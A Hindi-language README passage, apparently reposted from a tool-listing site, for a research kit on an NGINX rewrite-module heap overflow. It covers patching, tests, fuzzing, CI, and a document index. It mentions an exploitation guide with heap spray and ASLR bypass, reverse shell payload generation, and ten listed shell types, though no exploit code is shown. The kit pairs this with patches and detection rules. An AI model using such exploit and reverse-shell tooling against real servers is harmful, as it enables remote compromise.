root@kitploit:~
## 14. पैचिंग

### फिक्स लागू करें```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

फिक्स + हार्डनिंग लागू करें```bash

bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch

root@kitploit:~
### बैकपोर्ट लागू करें```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

सुधार की पुष्टि करें```bash

Check that the fix contains the key line

grep 'is_args = 0' patches/0001-fix-is_args.patch

Dry-run apply

patch -p1 --dry-run -i patches/0001-fix-is_args.patch

root@kitploit:~
## 15. परीक्षण

### इकाई परीक्षण```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

परीक्षण सूट (Shell)```bash

bash test/run_tests.sh

root@kitploit:~
रन:
1. यूनिट परीक्षण (pytest या unittest)
2. ट्रिगर/ओवरफ़्लो परीक्षण (यदि सर्वर चल रहा है)
3. असुरक्षित और सुरक्षित कॉन्फ़िग के विरुद्ध कॉन्फ़िग स्कैनर
4. पैच ड्राई-रन सत्यापन

### रिग्रेशन मैट्रिक्स```bash
bash tools/regression_matrix.sh

कई NGINX संस्करणों (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) का परीक्षण कमजोर और सुरक्षित कॉन्फ़िगरेशन के विरुद्ध करता है, जिसमें क्रैश/नो-क्रैश अपेक्षाओं की पुष्टि की जाती है।

कॉन्फ़िग मैट्रिक्स```bash

bash tools/test_all_configs.sh

root@kitploit:~
सभी कॉन्फ़िग पैटर्न (बेसिक, एडवांस्ड, इनग्रेस, गेटवे) को ओवरफ़्लो ट्रिगर्स के साथ परीक्षण करता है।

---

## 16. फ़ज़िंग

### libFuzzer Harness

फ़ज़र (`fuzz/ngx_http_script_fuzz.c`) दो-पास स्क्रिप्ट इंजन का अनुकरण करता है:
1. इनपुट को स्क्रिप्ट कोड के अनुक्रम के रूप में पार्स करता है
2. लंबाई पास निष्पादित करता है
3. `e->is_args = 1` के साथ कॉपी पास निष्पादित करता है
4. ASAN या आकार बेमेल के माध्यम से बफ़र ओवरफ़्लो का पता लगाता है```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

AFL++```bash

bash tools/afl_runner.sh

root@kitploit:~
Launches AFL++ with ASAN, configurable timeout, and memory limits against the fuzzing harness.

### बीज कॉर्पस

`fuzz/corpus/` निर्देशिका में ऐसे बीज इनपुट शामिल हैं जो कमजोर पैटर्न को पुनः उत्पन्न करते हैं, जिनमें शामिल हैं:
- बुनियादी ओवरफ़्लो ट्रिगर
- नामित कैप्चर (ओवरफ़्लो नहीं होना चाहिए)
- किनारे के मामले (खाली कैप्चर, अधिकतम आकार, आदि)

---

## 17. CI पाइपलाइन

### GitHub Actions

प्रोजेक्ट एक **एकल GitHub Actions CI** वर्कफ़्लो (`.github/workflows/ci.yml`) का उपयोग करता है जिसमें ये जॉब्स हैं:

| जॉब | क्या करता है |
|-----|-------------|
| `lint` | ShellCheck, Python सिंटैक्स सत्यापन |
| `scan-configs` | सभी कॉन्फ़िग सैंपल पर config_scanner.py चलाता है |
| `fuzz-build` | libFuzzer हार्नेस बनाता है |
| `test` | pytest/unittest सूट चलाता है |
| `detect-patch` | पैच फ़ॉर्मेट और फिक्स सामग्री की पुष्टि करता है |
| `verify-project` | `tools/verify_project.sh` चलाता है |

### पूर्ण पाइपलाइन```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker

पाइपलाइन 7 चरण निष्पादित करती है:

  1. Preflight — पूर्वापेक्षाएँ जाँचें (python3, curl, docker, docker-compose)
  2. Syntax & Linting — Python compile, ShellCheck
  3. Static Analysis — Config स्कैनर, एस्केप कैल्क, हीप लेआउट, सुरक्षित पते
  4. Environment Startup — Docker कंटेनर बनाएँ और शुरू करें
  5. Live Testing — Health check, ओवरफ्लो ट्रिगर, मॉनिटर वर्कर, पैच फ़ॉर्मेट
  6. Reverse Shell Verification — पेलोड जनरेशन, लिसनर ड्राई-रन, स्वचालित सत्यापन
  7. Project Verification — पूर्ण फ़ाइल अखंडता और सिंटैक्स जाँच

18. दस्तावेज़ अनुक्रमणिका

DocumentDescription
docs/root-cause-analysis.mdदो-पास स्क्रिप्ट इंजन बग का गहन तकनीकी विश्लेषण, कोड वॉकथ्रू और आरेखों के साथ
docs/exploitation-guide.mdचरण-दर-चरण शोषण, हीप स्प्रे, फेंग शुई, पता गणना, ASLR बाईपास
docs/detection-guide.mdConfig स्कैनिंग, लॉग विश्लेषण, WAF नियम, SIEM एकीकरण, विसंगति पहचान
docs/mitigation-guide.mdनामित कैप्चर रूपांतरण, दर सीमित, WAF परिनियोजन, उन्नयन प्रक्रियाएँ
docs/FAQ.mdभेद्यता, शोषण और सुधार के बारे में अक्सर पूछे जाने वाले प्रश्न
docs/timeline.md2008 में बग परिचय से लेकर 2026 में फिक्स तक पूर्ण प्रकटीकरण समयरेखा
docs/operational-guidance.mdघटना प्रतिक्रिया, फोरेंसिक, IOC संग्रह, आपातकालीन शमन
docs/case-study.mdकिल-चेन विश्लेषण के साथ वास्तविक दुनिया के हमले के परिदृश्य का अनुकरण
docs/presentation-slides.mdवक्ता नोट्स के साथ सम्मेलन/मीटअप प्रस्तुति

19. परियोजना आँकड़े

MetricValue
कुल फ़ाइलें80+
निर्देशिकाएँ13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced)
Python स्क्रिप्ट्स22 (exploit, detection, tools, shell, test)
Shell स्क्रिप्ट्स15 (detection, tools, shell, test, pipelines)
पैच5 (1 फिक्स + 1 हार्डनिंग + 3 बैकपोर्ट)
WAF नियम सेट3 (ModSecurity, Suricata, Falco)
CI कॉन्फ़िग1 (GitHub Actions — केवल CI)
दस्तावेज़ीकरण9 विस्तृत तकनीकी दस्तावेज़
Config नमूने7 (4 असुरक्षित, 2 सुरक्षित, 1 नामित कैप्चर + 3 उन्नत)
कमिट लॉग1003+ अलग-अलग कमिट
शेल प्रकार10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell)
Fuzz हार्नेस1 (libFuzzer, ~200 लाइनें C)
परीक्षण मामले8 यूनिट परीक्षण + शेल रनर
शामिल NGINX संस्करण20 रिग्रेशन मैट्रिक्स में
जीवनचक्र18 वर्ष (2008–2026)

20. संदर्भ

आधिकारिक

ReferenceURL
NVD प्रविष्टिhttps://nvd.nist.gov/vuln/detail/CVE-2026-42945
फिक्स कमिटhttps://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686
F5 सलाहhttps://my.f5.com/manage/s/article/K000161019
NGINX परिवर्तन सूचीhttps://nginx.org/en/CHANGES

अनुसंधान

ReferenceURL
DepthFirst अनुसंधानhttps://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
PoC भंडारhttps://github.com/DepthFirstDisclosures/Nginx-Rift
CWE-122https://cwe.mitre.org/data/definitions/122.html

तकनीकी

ResourceDescription
ngx_http_script.cNGINX के रीराइट मॉड्यूल में बगी स्रोत फ़ाइल
ngx_pool_cleanup_tRCE के लिए भ्रष्ट किया गया हीप संरचना
ngx_escape_uri()विस्तार फ़ंक्शन जो ओवरफ़्लो का कारण बनता है
setarch(8)नियतात्मक शोषण पतों के लिए ASLR को अक्षम करने का Linux उपकरण

यह परियोजना शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए है। भेद्यता का जिम्मेदारीपूर्वक खुलासा किया गया है और NGINX अनुरक्षकों द्वारा इसे पैच किया गया है।

टूल डाउनलोड करें